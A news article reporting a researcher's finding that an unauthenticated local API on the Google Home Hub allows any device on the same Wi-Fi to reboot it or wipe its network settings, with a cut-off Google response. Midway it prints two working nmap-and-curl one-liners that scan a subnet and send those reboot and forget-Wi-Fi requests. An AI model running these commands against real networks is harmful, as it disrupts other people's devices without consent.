Updated A security researcher says an undocumented API in the Google Home Hub assistant can be exploited to kick the gizmo off its own wireless network.

Flaw finder Jerry Gamblin says the API allows the device to receive commands from systems and handhelds sharing its local wireless network that can, among other things, reboot the unit, or even cause it to disconnect from the Wi-Fi, necessitating a manual reconfiguration.

The problem, Gamblin said, stems from the Google Home Hub's inclusion of a web-based software interface that had not previously been disclosed. That API can be used by a computer or device on the same Wi-Fi network as the Home Hub to perform tasks on the targeted voice-controlled assistant without any authentication.

"Since none of these endpoints require authentication being malicious on a network with these present is trivial," Gamblin explained earlier this week.

Gamblin explained that web requests can be used to carry out instructions such as showing basic system data or running a speed test. They can also show the currently configured network information.

More importantly, the API also allows for commands that will cause the Home Hub to reboot itself or delete the current configured network from the device. Cutting that network connection would temporarily render the Home Hub unusable until the owner manually reconfigured it with the Google Home app.

Without further ado, here is the reboot code:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/\(|\)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://%:8008/setup/reboot

And here is the delete network command:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

We trust everyone will use those codes responsibly and with the most noble of intentions. Needless to say, Gamblin is less than impressed with the state of security on his new Google Home Hub.

"I am genuinely shocked by how poor the overall security of these devices are, even more so when you see that these endpoints have been known for years and relatively well documented," Gamblin said.

"I usually would have worked directly with Google to report these issues if they had not previously disclosed, but due to the sheer amount of prior work online and committed code in their own codebase, it is obvious they know."

Google did not return a request for comment on the matter. ®

Updated to add

A spokesperson for Google confirmed that any device, computer, or smartphone on the Wi-Fi network of a Home Hub can command the assistant as described above – that includes mischievous malware on a PC, for example:

The APIs mentioned in this claim are used by mobile apps to configure the device and are only accessible when those apps and the Google Home device are on the same Wi-Fi network.